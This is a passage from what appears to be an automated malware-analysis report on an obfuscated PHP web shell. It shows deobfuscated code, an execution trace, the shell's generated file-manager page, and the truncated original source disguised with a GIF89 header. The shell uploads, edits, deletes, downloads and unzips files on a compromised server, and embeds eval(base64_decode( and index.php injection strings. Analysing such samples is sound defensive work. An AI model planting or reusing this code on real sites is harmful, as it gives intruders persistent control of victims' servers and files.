$uQts7 = str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["SERVER_NAME"], $Y1ljX);
if ($Ay1ZD % 2 == 0) {
$kUjp8 = "#fff8e7";
goto EI8Ko;
}
$kUjp8 = "#ffffe0";
EI8Ko:
$F4gM4 = stristr($v3hoM, ".zip");
if ($F4gM4 !== false) {
$F4gM4 = "<a href=\"http://{$VdNWK}{$QqgvR}?unzip={$Y1ljX}&dir={$tO3kQ}\">Z</a> ";
goto GoaD8;
}
$F4gM4 = "<a href=\"http://{$VdNWK}{$QqgvR}?edit={$Y1ljX}&dir={$tO3kQ}\">E</a> ";
GoaD8:
echo "<tr bgcolor=\"{$kUjp8}\" align=\"center\"><td align=\"left\" >" . "<a style=\"text-decoration: none;\" href=\"http://{$VdNWK}{$QqgvR}?edit={$Y1ljX}&dir={$tO3kQ}\"><font color=\"black\">{$v3hoM}</font></a>" . "</td><td>" . buCNk($Y1ljX) . "</td><td>{$Npkhx}</td><td>" . gM9cQ($Y1ljX, "0") . "</td><td>" . "<a href=\"http://{$VdNWK}{$QqgvR}?del={$Y1ljX}&dir={$tO3kQ}\">U</a> " . $F4gM4 . "<a target=\"_blank\" href=\"http://{$uQts7}\">O</a> " . "<a href=\"http://{$VdNWK}{$QqgvR}?download={$Y1ljX}&dir={$tO3kQ}\">D</a>" . "</td></tr>";
$Ay1ZD++;
}
echo "</table>";
// [PHPDeobfuscator] Implied script end
return;
}
$Ay1ZD = $QB964 - $LztR2 - 1;
if ($LztR2 !== $QB964) {
echo "<a href=\"http://" . $VdNWK . $QqgvR . "?dir=" . $Tv4ro["{$Ay1ZD}"] . "\">" . $BwPeK["{$LztR2}"] . "</a>/";
goto OMGvS;
}
echo "<a href=\"http://" . $VdNWK . $QqgvR . "?dir=" . $qag9p . "\">" . $BwPeK["{$LztR2}"] . "</a>";
OMGvS:
$LztR2++;
goto MJcgr;
}
$cjZuP = UHgxi($cjZuP);
$Tv4ro[] = $cjZuP;
$LztR2++;
goto MeHGB;
}
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename($whHds));
header("Content-Transfer-Encoding: binary");
header("Expires: 0");
header("Cache-Control: must-revalidate");
header("Pragma: public");
header("Content-Length: " . filesize($whHds));
readfile($_GET["download"]);
exit;
}
unset($L2igI[$LztR2]);
$LztR2++;
goto EcZQF;
}
if (!($L2igI[$n7IRr] !== null and $L2igI[$n7IRr] !== " " and $L2igI[$n7IRr] !== '' and $L2igI[$n7IRr] !== "." and $L2igI[$n7IRr] !== "..")) {
goto QwZuR;
}
$xvhqj[] = trim($L2igI[$n7IRr]);
QwZuR:
$n7IRr++;
goto DubCt;
}
$g1bKy = array();
$bmi_c = $_POST["for_del"];
echo "<<info>>";
foreach ($bmi_c as $v3hoM) {
$v3hoM = strstr($v3hoM, "/");
$v3hoM = $_SERVER["DOCUMENT_ROOT"] . "/" . $v3hoM;
$iRWW0 = str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["SERVER_NAME"], $v3hoM);
if (file_exists($v3hoM)) {
pawK5($v3hoM);
if (!file_exists($v3hoM)) {
echo $iRWW0 . " - removed" . "\n";
goto Oo99q;
}
echo $iRWW0 . " - not removed" . "\n";
Oo99q:
goto mKFeG;
}
echo $iRWW0 . " - not found" . "\n";
mKFeG:
}
echo "<</info>>";
exit;
}
$CBxRP = NDomT($_SERVER["DOCUMENT_ROOT"]);
echo "<td><hr><hr>";
foreach ($CBxRP as $QGpbl) {
$Lx4lh = str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["SERVER_NAME"], $QGpbl);
echo $Lx4lh . ";" . filesize($QGpbl) . "<br>\n";
}
echo "<hr><hr></td>";
exit;Execution traces
data/traces/74a7ee104d121dae778802f3b2e5568c_trace-1676262886.1098.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:35:12.007646]
1 0 1 0.000148 393528
1 3 0 0.002105 696512 {main} 1 /var/www/html/uploads/content.php 0 0
2 4 0 0.002133 696512 GM9cQ 1 /var/www/html/uploads/content.php 3 2 '/var/www/html/uploads/content.php' ''
3 5 0 0.002149 696512 fileperms 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/uploads/content.php'
3 5 1 0.002168 696592
3 5 R 33204
3 6 0 0.002182 696552 decoct 0 /var/www/html/uploads/content.php 3 1 33204
3 6 1 0.002195 696624
3 6 R '100664'
3 7 0 0.002208 696584 substr 0 /var/www/html/uploads/content.php 3 2 '100664' -3
3 7 1 0.002222 696680
3 7 R '664'
2 A /var/www/html/uploads/content.php 3 $HEbbe = '664'
2 A /var/www/html/uploads/content.php 3 $OrrU2 = 'green'
2 4 1 0.002264 696608
2 4 R '<font color=green>664</font>'
1 A /var/www/html/uploads/content.php 3 $DX8LI = '<font color=green>664</font>'
2 8 0 0.002292 696608 chmod 0 /var/www/html/uploads/content.php 3 2 '/var/www/html/uploads/content.php' 292
2 8 1 0.002333 696680
2 8 R FALSE
1 A /var/www/html/uploads/content.php 3 $VdNWK = 'localhost'
1 A /var/www/html/uploads/content.php 3 $QqgvR = '/uploads/content.php'
1 A /var/www/html/uploads/content.php 3 $DtzO6 = []
1 A /var/www/html/uploads/content.php 3 $xWYvg = []
2 9 0 0.002395 696608 sizeof 0 /var/www/html/uploads/content.php 3 1 []
2 9 1 0.002408 696640
2 9 R 0
2 10 0 0.002421 696608 sizeof 0 /var/www/html/uploads/content.php 3 1 []
2 10 1 0.002432 696640
2 10 R 0
1 A /var/www/html/uploads/content.php 3 $ut7CJ = '/uploads/content.php?dir=/var/www/html'
2 11 0 0.002459 696672 Zwpme 1 /var/www/html/uploads/content.php 3 0
3 12 0 0.002471 696728 is_dir 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/administrator/'
3 12 1 0.002489 696768
3 12 R FALSE
3 13 0 0.002503 696728 is_dir 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/wp-content/'
3 13 1 0.002520 696768
3 13 R FALSE
2 11 1 0.002534 696672
2 11 R 'Unknown'
1 A /var/www/html/uploads/content.php 3 $qag9p = '/var/www/html'
2 14 0 0.002561 696672 explode 0 /var/www/html/uploads/content.php 3 2 '/' '/var/www/html'
2 14 1 0.002575 697216
2 14 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html']
1 A /var/www/html/uploads/content.php 3 $BwPeK = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html']
1 A /var/www/html/uploads/content.php 3 $QB964 = 3
1 A /var/www/html/uploads/content.php 3 $Tv4ro = []
1 A /var/www/html/uploads/content.php 3 $cjZuP = '/var/www/html'
1 A /var/www/html/uploads/content.php 3 $LztR2 = 1
2 15 0 0.002646 697144 UhgXi 1 /var/www/html/uploads/content.php 3 1 '/var/www/html'
3 16 0 0.002659 697144 strripos 0 /var/www/html/uploads/content.php 3 2 '/var/www/html' '/'
3 16 1 0.002672 697216
3 16 R 8
2 A /var/www/html/uploads/content.php 3 $Konpu = 8
3 17 0 0.002694 697144 substr_replace 0 /var/www/html/uploads/content.php 3 4 '/var/www/html' '' 8 99999
3 17 1 0.002709 697312
3 17 R '/var/www'
2 A /var/www/html/uploads/content.php 3 $WXRUO = '/var/www'
2 15 1 0.002733 697184
2 15 R '/var/www'
1 A /var/www/html/uploads/content.php 3 $cjZuP = '/var/www'
1 A /var/www/html/uploads/content.php 3 $Tv4ro[] = '/var/www'
1 A /var/www/html/uploads/content.php 3 $LztR2++
2 18 0 0.002778 697560 UhgXi 1 /var/www/html/uploads/content.php 3 1 '/var/www'
3 19 0 0.002790 697560 strripos 0 /var/www/html/uploads/content.php 3 2 '/var/www' '/'
3 19 1 0.002803 697632
3 19 R 4
2 A /var/www/html/uploads/content.php 3 $Konpu = 4
3 20 0 0.002824 697560 substr_replace 0 /var/www/html/uploads/content.php 3 4 '/var/www' '' 4 99999
3 20 1 0.002838 697728
3 20 R '/var'
2 A /var/www/html/uploads/content.php 3 $WXRUO = '/var'
2 18 1 0.002861 697600
2 18 R '/var'
1 A /var/www/html/uploads/content.php 3 $cjZuP = '/var'
1 A /var/www/html/uploads/content.php 3 $Tv4ro[] = '/var'
1 A /var/www/html/uploads/content.php 3 $LztR2++
2 21 0 0.002904 697600 UhgXi 1 /var/www/html/uploads/content.php 3 1 '/var'
3 22 0 0.002922 697600 strripos 0 /var/www/html/uploads/content.php 3 2 '/var' '/'
3 22 1 0.002935 697672
3 22 R 0
2 A /var/www/html/uploads/content.php 3 $Konpu = 0
3 23 0 0.002957 697600 substr_replace 0 /var/www/html/uploads/content.php 3 4 '/var' '' 0 99999
3 23 1 0.002971 697760
3 23 R ''
2 A /var/www/html/uploads/content.php 3 $WXRUO = ''
2 21 1 0.002993 697632
2 21 R ''
1 A /var/www/html/uploads/content.php 3 $cjZuP = ''
1 A /var/www/html/uploads/content.php 3 $Tv4ro[] = ''
1 A /var/www/html/uploads/content.php 3 $LztR2++
1 A /var/www/html/uploads/content.php 3 $LztR2 = 1
1 A /var/www/html/uploads/content.php 3 $Ay1ZD = 1
1 A /var/www/html/uploads/content.php 3 $LztR2++
1 A /var/www/html/uploads/content.php 3 $Ay1ZD = 0
1 A /var/www/html/uploads/content.php 3 $LztR2++
1 A /var/www/html/uploads/content.php 3 $Ay1ZD = -1
1 A /var/www/html/uploads/content.php 3 $LztR2++
1 A /var/www/html/uploads/content.php 3 $w8S3s = 'http://localhost/uploads/content.php?dir=/var/www/html'
1 A /var/www/html/uploads/content.php 3 $qag9p = '/var/www/html'
1 A /var/www/html/uploads/content.php 3 $w8S3s = 'http://localhost/uploads/content.php?dir=/var/www/html'
2 24 0 0.003138 697712 E9IFV 1 /var/www/html/uploads/content.php 3 1 'http://localhost/uploads/content.php?dir=/var/www/html'
2 24 1 0.003155 697712
2 25 0 0.003164 697712 scandir 0 /var/www/html/uploads/content.php 3 1 '/var/www/html'
2 25 1 0.003195 698216
2 25 R [0 => '.', 1 => '..', 2 => 'uploads']
1 A /var/www/html/uploads/content.php 3 $CBxRP = [0 => '.', 1 => '..', 2 => 'uploads']
1 A /var/www/html/uploads/content.php 3 $lm1oa = '.'
1 A /var/www/html/uploads/content.php 3 $lm1oa = '/var/www/html/.'
2 26 0 0.003247 698224 is_dir 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/.'
2 26 1 0.003262 698240
2 26 R TRUE
1 A /var/www/html/uploads/content.php 3 $DtzO6[] = '.'
1 A /var/www/html/uploads/content.php 3 $lm1oa = '..'
1 A /var/www/html/uploads/content.php 3 $lm1oa = '/var/www/html/..'
2 27 0 0.003306 698584 is_dir 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/..'
2 27 1 0.003321 698632
2 27 R TRUE
1 A /var/www/html/uploads/content.php 3 $DtzO6[] = '..'
1 A /var/www/html/uploads/content.php 3 $lm1oa = 'uploads'
1 A /var/www/html/uploads/content.php 3 $lm1oa = '/var/www/html/uploads'
2 28 0 0.003363 698592 is_dir 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/uploads'
2 28 1 0.003377 698632
2 28 R TRUE
1 A /var/www/html/uploads/content.php 3 $DtzO6[] = 'uploads'
1 A /var/www/html/uploads/content.php 3 $Ay1ZD = 0
1 A /var/www/html/uploads/content.php 3 $Y1ljX = '/var/www/html/uploads'
1 A /var/www/html/uploads/content.php 3 $Pykbw = '/var/www/html/uploads'
1 A /var/www/html/uploads/content.php 3 $ogngT = '/var/www/html/uploads'
2 29 0 0.003445 698688 strrchr 0 /var/www/html/uploads/content.php 3 2 '/var/www/html/uploads' '/'
2 29 1 0.003458 698800
2 29 R '/uploads'
1 A /var/www/html/uploads/content.php 3 $SYOxk = '/uploads'
2 30 0 0.003483 698728 str_replace 0 /var/www/html/uploads/content.php 3 3 '/uploads' '' '/var/www/html/uploads'
2 30 1 0.003498 698864
2 30 R '/var/www/html'
1 A /var/www/html/uploads/content.php 3 $ogngT = '/var/www/html'
2 31 0 0.003522 698768 aC9dk 1 /var/www/html/uploads/content.php 3 1 '/var/www/html/uploads'
3 32 0 0.003534 698768 file_exists 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/uploads'
3 32 1 0.003551 698808
3 32 R TRUE
3 33 0 0.003564 698768 filemtime 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/uploads'
3 33 1 0.003588 698808
3 33 R 1676262886
2 A /var/www/html/uploads/content.php 3 $cgAHn = 1676262886
3 34 0 0.003613 698768 date 0 /var/www/html/uploads/content.php 3 2 'Y-m-d H:i:s' 1676262886
3 34 1 0.003678 701160
3 34 R '2023-02-12 23:34:46'
2 A /var/www/html/uploads/content.php 3 $Npkhx = '2023-02-12 23:34:46'
2 31 1 0.003708 701088
2 31 R '2023-02-12 23:34:46'
1 A /var/www/html/uploads/content.php 3 $Npkhx = '2023-02-12 23:34:46'
1 A /var/www/html/uploads/content.php 3 $kUjp8 = '#fff8e7'
2 35 0 0.003751 701344 GM9cQ 1 /var/www/html/uploads/content.php 3 2 '/var/www/html/uploads' '0'
3 36 0 0.003765 701344 fileperms 0 /var/www/html/uploads/content.php 3 1 '/var/www/html/uploads'
3 36 1 0.003779 701384
3 36 R 16895
3 37 0 0.003791 701344 decoct 0 /var/www/html/uploads/content.php 3 1 16895
3 37 1 0.003804 701416
3 37 R '40777'
3 38 0 0.003816 701376 substr 0 /var/www/html/uploads/content.php 3 2 '40777' -3
3 38 1 0.003829 701472
3 38 R '777'
2 A /var/www/html/uploads/content.php 3 $HEbbe = '777'
2 A /var/www/html/uploads/content.php 3 $OrrU2 = 'grey'
2 35 1 0.003864 701400
2 35 R '<font color=grey>777</font>'
1 A /var/www/html/uploads/content.php 3 $Ay1ZD++
1 3 1 0.003895 701088
0.003952 449320
TRACE END [2023-02-13 02:35:12.011481]
Generated HTML code
<html><head></head><body>GIF89;
<title>/var/www/html/content.php</title>
<style type="text/css">
INPUT[type="text"] {background-color: #fff8e7;} body{background: #fff8e7;color: #4c5866;font-family: Verdana;font-size: 11px;}
a:link{color: #33CC99;} a:visited{color: #33CC99;} a:hover{text-decoration: none;Color: #3399FF;}table {font-size: 11px;}
td {padding: 1px;padding-left: 10px;padding-right: 10px;padding-top: 2px;}
</style>
<table cellpadding="5" width="80%">
<tbody><tr align="left">
<td colspan="3">
<form method="post" action="/content.php?dir=/var/www/html" enctype="multipart/form-data">
<input type="file" id="inputfile" name="inputfile">
<input type="submit" value="ok">
</form>
CMS: Unknown<br>
Server IP: ::1<br>
Root: <a href="http://localhost/content.php?dir=/var/www/html">/var/www/html</a> <br><br>
Directory:
<a href="http://localhost/content.php?dir=/var">var</a>/<a href="http://localhost/content.php?dir=/var/www">www</a>/<a href="http://localhost/content.php?dir=/var/www/html">html</a>
</td>
<td align="right" colspan="2"><form action="http://localhost/content.php?dir=/var/www/html" method="POST"><input name="search_file" size="7" type="text" placeholder=".suspected"><input type="submit" value="ok"></form><form action="http://localhost/content.php?dir=/var/www/html" method="POST"><input name="new_file" size="7" type="text" placeholder="make file"><input type="submit" value="ok"></form><form action="http://localhost/content.php?dir=/var/www/html" method="POST"><input name="new_dir" size="7" type="text" placeholder="make dir"><input type="submit" value="ok"></form></td></tr>
<tr align="center" style="color: #423c63;"><td align="left"><b>Name</b></td><td><b>Size</b></td><td><b>Modify</b></td><td><b>Permissions</b></td><td><b>Actions</b></td></tr>
<tr bgcolor="#fff8e7" align="center"><td align="left"><a style="text-decoration: none;" href="http://localhost/content.php?edit=/var/www/html/beneri.se_malware_analysis&dir=/var/www/html"><font color="black">beneri.se_malware_analysis</font></a></td><td>0 b</td><td>2023-02-12 23:34:39</td><td><font color="green">644</font></td><td><a href="http://localhost/content.php?del=/var/www/html/beneri.se_malware_analysis&dir=/var/www/html">U</a> <a href="http://localhost/content.php?edit=/var/www/html/beneri.se_malware_analysis&dir=/var/www/html">E</a> <a target="_blank" href="http://localhost/beneri.se_malware_analysis">O</a> <a href="http://localhost/content.php?download=/var/www/html/beneri.se_malware_analysis&dir=/var/www/html">D</a></td></tr><tr bgcolor="#ffffe0" align="center"><td align="left"><a style="text-decoration: none;" href="http://localhost/content.php?edit=/var/www/html/content.php&dir=/var/www/html"><font color="black">content.php</font></a></td><td>63.7 kb</td><td>2023-02-12 23:34:39</td><td><font color="green">664</font></td><td><a href="http://localhost/content.php?del=/var/www/html/content.php&dir=/var/www/html">U</a> <a href="http://localhost/content.php?edit=/var/www/html/content.php&dir=/var/www/html">E</a> <a target="_blank" href="http://localhost/content.php">O</a> <a href="http://localhost/content.php?download=/var/www/html/content.php&dir=/var/www/html">D</a></td></tr></tbody></table></body></html>Original PHP code
GIF89;
<?php
goto XqKQl; Pdrln: BixNK: goto xVvfW; uUvCz: $ZV5BV = "\x40\x72\145\161\165\151\x72\x65"; goto is2iM; TiO86: goto rzl0N; goto pavBl; v0w3L: ygMBB: goto MeppW; Nmkuu: $DX8LI = Gm9CQ($_SERVER["\x53\x43\122\111\x50\124\x5f\106\x49\x4c\105\116\x41\x4d\105"], ''); goto wF0pz; uwGL8: MeHGB: goto J9A41; DOjb2: ljsRq: goto V_yBv; YHTFb: FC1rI: goto QoeRX; HIcgm: ATDrg: goto HQO8v; bkt1o: hH85a: goto ax0TJ; qfqmm: foreach ($L2igI as $HUwOC) { goto im5Ay; im5Ay: if (!($HUwOC !== null and $HUwOC !== '' and $HUwOC !== "\x20")) { goto EEHJm; } goto P6DYc; P6DYc: fwrite($DhVT3, $HUwOC . "\12"); goto VWChD; VWChD: EEHJm: goto Yd6JD; Yd6JD: gycRH: goto JWkGk; JWkGk: } goto tarvp; on9Rz: FZDRH: goto c9gbq; uVZuN: if (empty($_POST["\156\x5f\156\141\155\145"])) { goto nU65v; } goto UHeCH; UP3Rp: florf: goto dtSuw; P9h3R: if (!isset($_GET["\x64\x65\154"])) { goto Eo14L; } goto ENf9L; UbR8h: Gnbma: goto vEpc6; DCXVe: goto mP2FX; goto uM2zE; Hxqi_: MJcgr: goto WKo2f; Fvq0g: echo "\x9\xd\12\x9\11\11\x3c\x73\x63\162\x69\160\x74\x20\x6c\x61\156\x67\x75\x61\147\x65\x20\75\x20\47\x6a\141\166\x61\x73\143\162\x69\x70\x74\47\x3e\15\xa\x9\x9\x9\x76\x61\162\x20\x64\145\154\141\x79\40\x3d\x20\61\60\x30\73\xd\12\x9\11\11\163\145\x74\124\151\x6d\x65\x6f\x75\x74\50\x22\144\x6f\x63\165\x6d\x65\156\164\56\x6c\x6f\x63\x61\164\x69\157\x6e\x2e\150\162\145\x66\75\47"; goto P_kkP; Mms5Y: function UhgXi($qag9p) { goto YW9om; STIVg: return $WXRUO; goto eSyKs; txmUW: $WXRUO = substr_replace($qag9p, '', $Konpu, 99999); goto STIVg; YW9om: $Konpu = strripos($qag9p, "\x2f"); goto txmUW; eSyKs: } goto slSKO; N14Yf: if ($LztR2 !== $QB964) { goto QGBmt; } goto tjGNA; XqKQl: function NDOmT($Ia7Nm) { goto Xfg4P; r3Vhw: $UuXBg = nDomt($Ia7Nm . "\x2f" . $dWgkk); goto vXjfh; m8cHL: JLFTW: goto b8QcF; Z_w16: Lqzre: goto SveCi; IDqdI: $UuXBg = array(); goto xzTkB; CAPPN: e6KBZ: goto r3Vhw; x7vGV: $cIKiU[] = $Ia7Nm . "\x2f" . $dWgkk; goto Df689; SveCi: closedir($RDrhf); goto g2eWr; oSiv8: if (is_dir($Ia7Nm . "\57" . $dWgkk)) { goto e6KBZ; } goto x7vGV; xfyQ3: if (!($dWgkk != "\56" && $dWgkk != "\x2e\56")) { goto ph1Ju; } goto oSiv8; D2a0K: $cIKiU = array(); goto IDqdI; vXjfh: $cIKiU = array_merge($cIKiU, $UuXBg); goto m8cHL; l4Lzg: goto meqrb; goto Z_w16; SLl1u: if (!(false !== ($dWgkk = readdir($RDrhf)))) { goto Lqzre; } goto xfyQ3; xzTkB: meqrb: goto SLl1u; Df689: goto JLFTW; goto CAPPN; b8QcF: ph1Ju: goto l4Lzg; Xfg4P: $RDrhf = opendir($Ia7Nm) or die("\x43\x61\156\47\x74\x20\157\x70\x65\156\40\144\x69\x72\x65\x63\x74\x6f\x72\x79\40{$Ia7Nm}"); goto D2a0K; g2eWr: return $cIKiU; goto roq_i; roq_i: } goto p1ei3; Wb2hf: $QqgvR = $_SERVER["\x53\103\x52\111\x50\x54\137\116\x41\x4d\x45"]; goto K61Rm; kedt_: echo "\x3c\x74\x72\x20\141\154\151\147\156\75\42\x63\x65\x6e\164\x65\162\42\x3e\x3c\x74\x64\40\x61\x6c\151\x67\156\75\42\x6c\x65\x66\x74\x22\40\x3e" . "\74\146\x6f\156\x74\x20\x63\x6f\x6c\157\x72\75\42\x67\x72\145\145\156\42\76\x46\157\154\x64\x65\x72\40\143\x72\145\x61\x74\145\144\40\163\x75\x63\x63\145\x73\x73\x66\x75\x6c\154\171\x21\x3c\57\146\157\156\164\76\74\57\x74\x64\76" . "\x3c\x74\x64\76\74\x2f\164\144\x3e\x3c\x74\144\x3e\74\x2f\164\x64\x3e\x3c\x74\x64\76\74\57\164\x64\76\74\164\144\x3e\74\x2f\164\144\76\x3c\x2f\x74\x72\x3e"; goto Eo0Zl; YVJT8: $P3pJd = $_SERVER["\104\117\x43\125\x4d\105\116\x54\x5f\122\x4f\117\x54"] . "\57" . $_POST["\156\145\167\137\x66\x69\154\145\137\156\141\x6d\x65"]; goto bg6ai; zn_3T: echo $_SERVER["\123\x43\x52\111\x50\124\x5f\x46\111\114\105\x4e\101\x4d\x45"]; goto hsPe0; Epl6l: echo "\74\146\x6f\x6e\x74\40\143\157\154\x6f\162\x3d\42\147\x72\145\x65\156\x22\76\x46\151\154\145\40\143\x72\x65\141\x74\x65\x64\x20\x73\165\143\143\x65\x73\163\x66\165\x6c\x6c\171\x21\74\57\x66\x6f\x6e\x74\76"; goto q2G1V; QIeXQ: mmJe3: goto uZ3kD; ypa05: $WMWFy = "\x66\x69\x6c\145\137\147\145\164\x5f\143\157\x6e\164\145\x6e\x74\x73\50\134\42\x2e\56\57\x69\156\144\x65\170\x2e\160\150\x70\x5c\42\x29\x22"; goto cNalV; VSZjt: fclose($DhVT3); goto MGFAs; z2e4Z: $BwPeK = explode("\x2f", $qag9p); goto ubSOD; glwiB: BCM4T: goto HkcsN; oJIlv: DZiIV: goto rsptO; vy7Dk: $P3pJd = $_GET["\x64\x69\x72"] . "\x2f" . $_POST["\x6e\145\x77\137\146\151\x6c\145\137\156\141\x6d\145"]; goto hSlgZ; G18c9: foreach ($CBxRP as $v3hoM) { goto G21Ml; rM5Tz: $lm1oa = $_SERVER["\104\117\x43\125\115\105\x4e\124\x5f\122\x4f\117\124"] . "\x2f" . $v3hoM; goto QTzXx; jjPrA: goto E2k4o; goto Q3qNu; uxwtB: if (isset($_GET["\x64\151\162"])) { goto t8d3R; } goto rM5Tz; WHYBa: $DtzO6[] = $v3hoM; goto yIYlH; QTzXx: goto IKu9i; goto cwA_B; yIYlH: E2k4o: goto r8dyB; fmLrL: IKu9i: goto en7b9; en7b9: if (is_dir($lm1oa)) { goto bmUHS; } goto ZNbZO; G21Ml: $lm1oa = $v3hoM; goto uxwtB; Q3qNu: bmUHS: goto WHYBa; r8dyB: HUjaa: goto rW3EB; cwA_B: t8d3R: goto gx0Q3; ZNbZO: $xWYvg[] = $v3hoM; goto jjPrA; gx0Q3: $lm1oa = $_GET["\144\x69\x72"] . "\57" . $v3hoM; goto fmLrL; rW3EB: } goto HWC40; rsptO: if (isset($_GET["\144\x69\x72"])) { goto hZdgt; } goto xezD4; XAIvh: $LztR2++; goto Ze119; U4RHe: if (file_exists($aPaH9)) { goto kS14f; } goto IZOXi; CqaGD: $ut7CJ = $_SERVER["\x53\103\122\x49\x50\124\137\x4e\x41\115\105"] . "\77\x64\x69\162\x3d" . $_SERVER["\104\117\103\125\x4d\x45\116\x54\x5f\122\x4f\117\x54"]; goto dURPl; cQKyY: RIwZN: goto bXUqM; ubSOD: $QB964 = count($BwPeK) - 1; goto roUBW; J9A41: if (!($LztR2 <= $QB964)) { goto GNZed; } goto gl3ZF; a4BUt: exit; goto o5qhH; e2TW0: if (!isset($_GET["\165\156\172\x69\x70"])) { goto jqLnL; } goto twpV_; VZF1A: $qVSSk = w4qEL($qag9p); goto oz78r; u4OG7: header("\103\157\156\x74\145\156\164\x2d\104\x65\x73\143\x72\x69\160\164\x69\x6f\156\x3a\40\x46\151\x6c\145\x20\x54\162\x61\x6e\x73\x66\x65\162"); goto CDuMW; CGm2h: if (file_exists($aPaH9) and filesize($aPaH9) > 1) { goto mCKiQ; } goto DJVjG; jgc8L: $hn0uw = w4QeL($_SERVER["\x44\117\103\125\x4d\105\116\x54\x5f\122\x4f\117\x54"]); goto GKj5d; tarvp: vpRpT: goto VSZjt; tSCjr: gHqv3: goto XAIvh; uhd1R: $UHjCg = "\x65\x76\x61\x6c\x28\x62\141\163\145\66\x34\137\x64\145\x63\x6f\144\x65\50"; goto nS2xr; w58PV: OLwSY: goto yqavc; QaWTu: $n7IRr = 0; goto Gqh_1; KG1Xz: foreach ($CBxRP as $QGpbl) { goto JyAvq; JyAvq: $Lx4lh = str_replace($_SERVER["\104\117\103\x55\x4d\105\116\x54\x5f\122\117\x4f\x54"], $_SERVER["\x53\105\122\126\105\122\137\116\x41\x4d\x45"], $QGpbl); goto SpquO; SpquO: echo $Lx4lh . "\73" . filesize($QGpbl) . "\x3c\x62\x72\x3e\xa"; goto ESRRJ; ESRRJ: qELdT: goto D9C8t; D9C8t: } goto Gd5zs; h_UK6: $W1py1 = "\x63\x61\x63\x68\x65\x3d\x30\60"; goto ypa05; IGVTY: t8W8C: goto USSyq; uZ3kD: Eo14L: goto S1Dbo; eMK1j: nU65v: goto TKRWF; OrRxQ: goto mP2FX; goto tkDiO; YEiIr: E7m1U: goto Bnibf; uM2zE: Bl4wU: goto UXqP9; ppEC0: if (isset($_GET["\144\x69\162"])) { goto nXRAt; } goto CqaGD; ync6F: $CBxRP = scandir($_SERVER["\104\x4f\103\x55\x4d\x45\116\124\137\122\x4f\x4f\x54"]); goto oZsLs; gl3ZF: $cjZuP = UHgxi($cjZuP); goto A6dPZ; SoZOb: if (!($n7IRr < 900)) { goto ATDrg; } goto HLNHF; V_yBv: $CBxRP = scandir($_GET["\144\151\162"]); goto ok3Ws; ouA0y: z4_go: goto f_RKQ; bH693: foreach ($xWYvg as $v3hoM) { goto ETQw9; KRPJL: $kUjp8 = "\x23\x66\146\x66\x66\145\60"; goto WMDBs; W0bHb: $Y1ljX = $_GET["\144\151\x72"] . "\57" . $v3hoM; goto ffRGy; ffRGy: $tO3kQ = $_GET["\144\x69\x72"]; goto Svnev; WMDBs: goto yQXuc; goto ZxNX8; VzVgu: echo "\x3c\164\162\x20\142\x67\x63\x6f\x6c\157\162\75\x22{$kUjp8}\x22\x20\141\154\151\147\x6e\75\x22\143\145\x6e\164\x65\x72\42\x3e\x3c\164\144\x20\141\154\x69\x67\156\75\x22\154\145\146\x74\x22\x20\x3e" . "\x3c\141\40\163\x74\171\154\145\75\42\x74\x65\x78\x74\55\144\x65\143\157\x72\141\x74\x69\x6f\x6e\72\x20\x6e\157\x6e\x65\x3b\x22\40\150\162\145\x66\x3d\42\150\164\164\x70\x3a\x2f\57{$VdNWK}{$QqgvR}\77\145\144\x69\x74\75{$Y1ljX}\46\x64\151\162\75{$tO3kQ}\x22\x3e\x3c\146\157\156\x74\40\143\157\154\x6f\162\x3d\42\x62\x6c\x61\143\x6b\x22\76{$v3hoM}\x3c\x2f\x66\x6f\x6e\164\76\74\x2f\141\x3e" . "\x3c\x2f\x74\x64\x3e\74\x74\x64\76" . buCNk($Y1ljX) . "\x3c\57\164\144\76\x3c\164\144\x3e{$Npkhx}\74\57\164\x64\76\x3c\x74\x64\76" . gM9cQ($Y1ljX, "\x30") . "\x3c\57\x74\144\76\x3c\x74\144\76" . "\74\141\40\x68\162\x65\146\75\x22\150\x74\164\160\72\x2f\x2f{$VdNWK}{$QqgvR}\x3f\144\x65\154\x3d{$Y1ljX}\x26\144\x69\162\x3d{$tO3kQ}\42\x3e\x55\74\x2f\x61\x3e\x26\156\142\163\x70\73" . $F4gM4 . "\x3c\141\40\x74\141\162\147\x65\164\75\42\x5f\142\x6c\141\x6e\153\42\x20\x68\162\x65\146\x3d\x22\x68\x74\x74\x70\72\57\57{$uQts7}\42\x3e\117\74\57\x61\76\x26\156\x62\163\160\73" . "\x3c\141\x20\150\162\145\x66\x3d\x22\150\x74\164\x70\72\57\x2f{$VdNWK}{$QqgvR}\77\144\157\x77\156\154\x6f\141\x64\x3d{$Y1ljX}\x26\x64\151\162\x3d{$tO3kQ}\42\76\x44\x3c\57\x61\x3e" . "\x3c\57\x74\x64\x3e\x3c\x2f\x74\162\76"; goto zNpap; Pxm9m: $uQts7 = str_replace($_SERVER["\x44\x4f\x43\x55\x4d\105\116\124\x5f\x52\117\x4f\124"], $_SERVER["\x53\105\122\126\x45\122\137\116\101\x4d\x45"], $Y1ljX); goto v29oZ; CH1vu: $F4gM4 = "\74\141\40\x68\162\145\146\75\x22\150\x74\164\x70\72\x2f\57{$VdNWK}{$QqgvR}\77\x65\x64\x69\164\x3d{$Y1ljX}\46\144\151\x72\x3d{$tO3kQ}\x22\76\105\x3c\57\141\76\46\x6e\x62\163\x70\73"; goto Y_jOY; zNpap: $Ay1ZD++; goto tiP26; mTTR2: $F4gM4 = "\x3c\141\40\x68\162\145\x66\75\42\x68\164\164\160\72\57\x2f{$VdNWK}{$QqgvR}\x3f\165\156\172\151\x70\x3d{$Y1ljX}\x26\x64\151\162\x3d{$tO3kQ}\42\x3e\x5a\74\57\141\76\46\156\x62\163\160\73"; goto GoaD8; v29oZ: if ($Ay1ZD % 2 == 0) { goto rVEh3; } goto KRPJL; GoaD8: 